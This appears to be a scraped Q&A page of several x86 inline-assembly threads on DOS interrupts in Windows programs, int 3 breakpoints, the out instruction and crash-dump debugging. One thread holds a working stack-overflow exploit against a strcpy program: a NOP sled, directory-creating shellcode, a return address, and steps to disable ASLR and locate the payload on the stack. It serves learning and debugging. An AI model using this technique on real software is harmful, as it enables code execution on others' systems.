A quick question here:
I'm trying to experiment with inline assembly using Embarcadero C++ Builder XE3 on 32-bit Windows 7, specifically to start re-teaching myself assembly with the possibility of future pragmatic application.
So far I've been able to write a set of instructions within a simple console project which compiles fine using all C++ Builder syntax at my disposal:
int _tmain(int argc, _TCHAR* argv[]) {
_asm{
mov dl, 0x24
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
mov dl, 0x25
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
mov dl, 0x26
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
mov dl, 0x27
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
int 0x20 // terminate COM
}
return 0;
}
This compiles ok, and these instructions work straight in NASM and the Windows native DEBUG environment. What I expect is a simple write to the console: $%&' followed by a successful termination.
However, when I try to run Project1.exe via the command line I immediately get a standard Win7 runtime error popup which disappears after a few seconds and terminates the program.
Running with debugging, I seem to be successfully reaching the first int 0x21 before it hangs, at which point Borland gives me the message:
Project Project1.exe raised exception class $C00000005 with message 'access violation at 0x00401213: read of address 0xffffffff'.
My theory is that I'm not properly initializing the segment with a 256-byte offset (NASM would use something like org 0x100 at the beginning of the instruction set). But I'm not entirely sure that's the issue.
Any ideas?
Those int 0x21 instructions are for MS-DOS and not Windows. They mean something else in a Windows program, with the result that you go up in flames.
I work primarily in C++ Builder, But I've also programmed assembly and nasm for production code (mainly on micros). My recommendation is not to go near C++ builder for anything you don't have to. Learning can be an art and the way you go about learning has a lot to do with the outcome. C++ Builder integration with assembly is a detour through South Compton. Even though it may not be the way you normally work, it will pay off big time to learn nasm in pure command line.
Related
So, my English is very bad, but I will try to explain my problem clearly(sorry about that).
I have a program in the ะก programming language:
#include <stdio.h>
#include <string.h>
void vuln_func(char *data) {
char buff[256];
strcpy(buff, data);
}
void main(int argc, char *argv[]) {
vuln_func(argv[1]);
}
The program accepts any line for input. I want to enter a payload into it, which will create a TEST directory in the directory from which this program is launched.
How it works:
I run a program in the debugger with a string containing the payload:
(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')
In the payload, first there are 233 "nop" instructions, then the shellcode that creates the "TEST" directory, then the address to which the program should go when it reaches the "ret" instruction
Part of the program code in the form of instructions in the debugger:
(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x108
0x08048414 <+9>: sub esp,0x8
0x08048417 <+12>: push DWORD PTR [ebp+0x8]
0x0804841a <+15>: lea eax,[ebp-0x108]
0x08048420 <+21>: push eax
0x08048421 <+22>: call 0x80482e0 <strcpy#plt>
0x08048426 <+27>: add esp,0x10
0x08048429 <+30>: nop
0x0804842a <+31>: leave
0x0804842b <+32>: ret
End of assembler dump.
So, the "strcpy" function puts the string that we entered into the program on the stack.
Then a couple more instructions are executed. When the program reaches the "ret" instruction, the return address is on the stack. By default, it points to the address in the "main" function. I want it to point to my payload located on the stack. When the program is executed through the debugger, I can see where the return address lies in the stack and calculate the required number of "nop" instructions before the payload and the value of the desired return address. But what to do when I want to execute a program without a debugger. How do I find out where my shell code is in the stack?
I tried using the same return address that I used in the payload via the debugger, but my ubuntu system reports the error "Segmentation fault (core dumped)" . That is, the return address does not correspond to the real address space of the stack, which is allocated for this program when running through the ubuntu terminal.
update: I looked at the core dump of this program. Every time I run it through the terminal, the stack address changes a lot. Here are a few stack addresses where my shell code was located:
0xbfda4161
0xbfc89161
0xbf944161
Why does the stack address change so much if I have already disabled the dynamic address space?
The value of the esp register on entry into main depends on the environment variables and the size of the argv[n] strings (in addition to being randomized by the kernel, which you've turned off).
I suspect that in your case the difference is caused by argv[0], which GDB tends to resolve to the full pathname of the binary.
You didn't tell us how you invoke the vulnerable binary outside of GDB. If you do something like ./vuln $(python -c ...) or vuln $(python -c ...), try running it as $(realpath ./vuln) $(python -c ...) instead -- that should match what happens in GDB.
I solved the proble.
Firstly, I didn't think about the fact that the ASLR shutdown setting is disabled every time I log out.
How to do:
Disable ASLR. For ubuntu 16, I used the following command: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
View the core dump data. I did it using the "coredumpctl" utility.
First I looked at the list of fallen programs: coredumpctl list, found the process number for my program in it.
Then went under the debugger: coredumpctl gdb your_proc_pid.
In the debugger, I looked at the stack address using: (gdb) info stack, found where my payload lies in the stack: x/90xw 0xstack_address.
I changed the address in my payload, now the program does not break when running in the terminal.
I am picking up someone else's C++ code in MS Visual Studio and have encountered the line:
if (l > n) _asm{int 3};
I understand that is is meant to break to the debugger. I also understand that it's deprecated and has been replaced with:
__debugbreak()
My question is... how does this work? Why should such an inline assembler command result in the debugger?
It is the same thing as setting a breakpoint with the IDE, but the difference is that with the IDE or any other debugger, it sets a breakpoint overwriting the chosen opcode with int 3 and with __asm { int 3 }, it sets as a new opcode line.
To add to the comment, int 3 is an assembly instruction that triggers a hardware interrupt, which causes the running thread ( your code ) to halt while the operating system services that interrupt. Not sure of the specifics, but the debugger must be able to hook into the os to get a notification of that interrupt, and act appropriately.
Read more: https://blogs.msdn.microsoft.com/kangsu/2005/09/07/no-more-int-3/
I want to create an application that shows an array of character in console with x86 assembly language.
i write it in Visual Studio 2012 Ultimate Version. In addition my Windows is 7 64 bit.
When run it in compiler, I mean in visual studio, I've this error:
main.cpp(8): error C2443: operand size conflict
main.cpp(11): error C2432: illegal reference to 16-bit data in 'second operand'
My code is:
void main(){
char nameAndId[] = "name:mohammad mahdi derakhshani .\n";
int sc=-1;
while(nameAndId[sc++]!=0){
_asm{
push si
line 8: mov si,sc
xor edx,edx
line 10: mov dl,nameAndId[si]
mov ah,2
int 21h
pop si
}
}
}
How can i fix this problem?
You are using 16-bit SI register instead of 32-bit one ESI.
For the other side, I don't know if int 21 still works but I recommend to get a pointer to WriteConsoleA api using GetProcAddress and call the api instead of using the old d.o.s. functions.
Third: When the loop begins, sc equal -1, so you reference nameAndId[-1]. Change sc++ with ++sc.
I am trying to export a .dll file and trying to use it in my c# application to write a data to a port. In my .cpp file (to create a .dll) if I use "out" command it gives "error C2415: improper operand type" error message. Do you have any idea why i cannot use this "out" command? ("mov" command is working well btw)
See my code below:
#include <stdio.h>
extern "C" __declspec(dllexport) void enableWatchDog()
_asm {
out 66,41
out 62,4
}
}
out has six forms:
out imm8, AL
out imm8, AX
out imm8, EAX
out DX, AL
out DX, AX
out DX, EAX
Your usages match none of them. Perhaps this would work (not tested):
mov al, 41
out 66, al
mov al, 4
out 62, al
I don't have too much experience with IO ports on x86, but from what I've been able to find, 66 and 62 seem a little suspicious to me. Shouldn't they be 66h and 62h? 41h (could be two flags set, or ASCII 'A') also makes a little more sense to me than 41 (a rather arbitrary number).
Assembly is not a high level language, where you can plug an arbitrary expression anywhere. The out command can only take an Ax register for a second operand, where Ax means AL, AX, or EAX. So reformulate like this:
mov al, 41
out 66, al
mov al, 4
out 62, al
The out command is privileged; it only works in kernel level drivers on Windows, trying to do it in a regular program will get you an "Invalid operation" error.
What target platform are you using for your C++ dll? You need to compile to x86 code, not CLR.
I've got a software application which some users report reliably crashes in certain situations. I can't reproduce it on any of the machines I've got so I'm feeling pretty stuck as to how to solve it.
A user posted me the assembly line where the crash happens, like this:
00505e58 1000 adc [eax],al
00505e5a cc int 3
00505e5b cc int 3
00505e5c cc int 3
00505e5d cc int 3
00505e5e cc int 3
00505e5f cc int 3
00505e60 55 push ebp
00505e61 8bec mov ebp,esp
00505e63 83ec1c sub esp,0x1c
FAULT -> 00505e66 ff4f08 dec dword ptr [edi+0x8] ds:0023:00000008=????????
00505e69 53 push ebx
00505e6a 56 push esi
00505e6b 0f85b0000000 jne Construct2+0x105f21 (00505f21)
00505e71 8d9894010000 lea ebx,[eax+0x194]
00505e77 8d45f0 lea eax,[ebp-0x10]
00505e7a 8bcb mov ecx,ebx
00505e7c e8ef4ff1ff call Construct2+0x1ae70 (0041ae70)
00505e81 8d45e4 lea eax,[ebp-0x1c]
00505e84 8bcb mov ecx,ebx
00505e86 e88580fdff call Construct2+0xddf10 (004ddf10)
I'm using Visual Studio 2010 and have my .pdbs for the build I gave the user. Is it possible to turn this assembly trace in to the faulting code line?
If you could get a full crash dump of your app when it crashes, then you could bring up the dmp in either windbg or Visual Studio and debug with source code rather easily. There's plenty of info on the web for getting a dump and debugging. For example, if you have a dump and matching pdb and bring thsi up in windbg, you can just do a ".lines" and see exactly where this is happening.
If you don't have a dump, then one way to do this is to run your app locally and look at the code at this address. It looks like your app, which I'm assuming is Construct2.exe, starts off at a base address of 0x0040000 and you're crashing at 0x00505E66 where EDI is 0. So if you flip to diassembly view, go to this address (or set a bp) then look at the source and you're good to go.